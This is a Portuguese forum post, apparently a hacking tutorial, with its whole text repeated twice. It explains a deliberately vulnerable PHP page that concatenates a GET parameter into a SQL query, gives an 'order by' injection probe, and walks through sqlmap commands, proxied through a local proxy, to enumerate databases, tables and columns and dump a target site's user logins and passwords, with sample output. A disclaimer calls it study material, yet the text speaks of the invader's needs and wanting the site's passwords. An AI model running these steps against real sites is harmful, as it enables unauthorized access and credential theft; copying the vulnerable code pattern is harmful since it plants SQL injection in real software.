Muitas vezes tenho reparado na dificuldade que muitos tem em utilizar o sqlmap. Ou nem imaginam a ferramenta poderosa que ela é.
Separei uma dica muito boa que ajuda muito na hora de analisar e agilizar o estudo sobre essa ferramenta.
Lembrado que todo material disponibilizado é especificamente para estudo, e ñ me responsabilizo pelo mal uso dele !!
SQLMAP é a uma ótima ferramenta de injeção SQL que eu já vi: feito em python, Opensource, e os comandos vão de acordo com a necessidade do invasor.
Vamos intender como funciona á URL
URL: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
https :[Protocolo usado]
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... :[Domínio alvo]
index.php :[Arquivo php onde tem os include que fazem a consulta]
?id :[Parâmetro GET que recebe valores para que assim faça uma consulta no BD ou validação.]
1 :[Valor que será passado]
Código:
index.php?id=1
-------------------------------INDEX.PHP-------------------------
if($_GET['id']){
$id = $_GET['id']; // Capturando valor GET e inserindo na variavel $id;
require_once('include/function.php'); // Inserindo arquivo function no código atual.
}?>
pesquisa("noticias",$id);
------------------------------------------------------------------------
Agora vamos entender como funciona o arquivo function.php
----------------------------FUNCTION.PHP-------------------------
function pesquisa($tabela,$id){ //Noma da function
$con = mysql_connect("localhost","root","123456"); // editar host, usuario, senha
$sql = "SELECT * FROM web.{$tabela} WHERE id={$id}"; //concatenando valores, web é o banco de dados.
$query = mysql_query($sql); //executando select
if (!$query) { die ('ERRO!:' . mysql_error()); }//Se der algo errado.
while($escrever=mysql_fetch_array($query)){ //Agora vamos percorrer o array.
echo "$escrever['NOTICIA']
";
//Imprimindo valor atual do campo noticia
}
mysql_close($con); // Fechando conexão!
?>
----------------------------------------------------------------------------
Codigo vulneravel pois em nem um momento é feito o filtro adequado do parâmetroID assim possibilitando a modificação do sql de busca.
Digamos se na get_['id'] o usuario inserir o seguinte valorindex.phpid?=-1 order by 50;
Se a tabela noticias tiver menos que se 50 colunas ele vai retorno falando que não existe 50 colunas.Assim vai, o Sqlmap faz todo trabalho de injeção identificando quantidade de colunas, a versão do banco.Se as senhas estiverem em md5 o sqlmap já tem um wordlist.
Dentro do codigo ficaria assim.
$sql = "SELECT * FROM web.{$tabela} WHERE id={$id}";
Valor modificado "SELECT * FROM web.noticias WHERE id=-1 order by 50;"
Agora vamos para o sqlmap
./sqlmap.py --url Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... --dbs -p id -v 3 --proxy="http://localhost:8118"
Não explicarei comandos sqlmap favor pesquisar.
Pelo código criado o site esta vulnerável e retorna os seguintes valores.Banco de dados:
[ * ] web
[ * ] information_schema
Agora queremos saber quais as tabelas do banco de dados "web".
./sqlmap.py --url Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... -D web -p id -v 3 --proxy="http://localhost:8118" --tablesTabelas:
[ * ] usuario
[ * ] noticias
[ * ] smtp
[ * ] blog
Neste momento precisamos saber quais as colunas da tabela usuario.
./sqlmap.py --url Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... -D web -p id -v 3 --proxy="http://localhost:8118" -T usuario --columns
+--------+--------------+
| Column | Type |
+--------+--------------+
| ID | int(11) |
| login | varchar(255) |
| senha | varchar(255) |
+--------+--------------+
Logico que queres saber os usuario e senhas do site.
./sqlmap.py --url Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... -D web -p id -v 3 --proxy="http://localhost:8118" -T usuario -C "ID,login,senha" --dump
Espero que gostem....
vlw
Separei uma dica muito boa que ajuda muito na hora de analisar e agilizar o estudo sobre essa ferramenta.
Lembrado que todo material disponibilizado é especificamente para estudo, e ñ me responsabilizo pelo mal uso dele !!
SQLMAP é a uma ótima ferramenta de injeção SQL que eu já vi: feito em python, Opensource, e os comandos vão de acordo com a necessidade do invasor.
Vamos intender como funciona á URL
URL: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
https :[Protocolo usado]
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... :[Domínio alvo]
index.php :[Arquivo php onde tem os include que fazem a consulta]
?id :[Parâmetro GET que recebe valores para que assim faça uma consulta no BD ou validação.]
1 :[Valor que será passado]
Código:
index.php?id=1
-------------------------------INDEX.PHP-------------------------
if($_GET['id']){
$id = $_GET['id']; // Capturando valor GET e inserindo na variavel $id;
require_once('include/function.php'); // Inserindo arquivo function no código atual.
}?>
pesquisa("noticias",$id);
------------------------------------------------------------------------
Agora vamos entender como funciona o arquivo function.php
----------------------------FUNCTION.PHP-------------------------
function pesquisa($tabela,$id){ //Noma da function
$con = mysql_connect("localhost","root","123456"); // editar host, usuario, senha
$sql = "SELECT * FROM web.{$tabela} WHERE id={$id}"; //concatenando valores, web é o banco de dados.
$query = mysql_query($sql); //executando select
if (!$query) { die ('ERRO!:' . mysql_error()); }//Se der algo errado.
while($escrever=mysql_fetch_array($query)){ //Agora vamos percorrer o array.
echo "$escrever['NOTICIA']
";
//Imprimindo valor atual do campo noticia
}
mysql_close($con); // Fechando conexão!
?>
----------------------------------------------------------------------------
Codigo vulneravel pois em nem um momento é feito o filtro adequado do parâmetroID assim possibilitando a modificação do sql de busca.
Digamos se na get_['id'] o usuario inserir o seguinte valorindex.phpid?=-1 order by 50;
Se a tabela noticias tiver menos que se 50 colunas ele vai retorno falando que não existe 50 colunas.Assim vai, o Sqlmap faz todo trabalho de injeção identificando quantidade de colunas, a versão do banco.Se as senhas estiverem em md5 o sqlmap já tem um wordlist.
Dentro do codigo ficaria assim.
$sql = "SELECT * FROM web.{$tabela} WHERE id={$id}";
Valor modificado "SELECT * FROM web.noticias WHERE id=-1 order by 50;"
Agora vamos para o sqlmap
./sqlmap.py --url Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... --dbs -p id -v 3 --proxy="http://localhost:8118"
Não explicarei comandos sqlmap favor pesquisar.
Pelo código criado o site esta vulnerável e retorna os seguintes valores.Banco de dados:
[ * ] web
[ * ] information_schema
Agora queremos saber quais as tabelas do banco de dados "web".
./sqlmap.py --url Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... -D web -p id -v 3 --proxy="http://localhost:8118" --tablesTabelas:
[ * ] usuario
[ * ] noticias
[ * ] smtp
[ * ] blog
Neste momento precisamos saber quais as colunas da tabela usuario.
./sqlmap.py --url Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... -D web -p id -v 3 --proxy="http://localhost:8118" -T usuario --columns
+--------+--------------+
| Column | Type |
+--------+--------------+
| ID | int(11) |
| login | varchar(255) |
| senha | varchar(255) |
+--------+--------------+
Logico que queres saber os usuario e senhas do site.
./sqlmap.py --url Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... -D web -p id -v 3 --proxy="http://localhost:8118" -T usuario -C "ID,login,senha" --dump
Espero que gostem....
vlw
Comment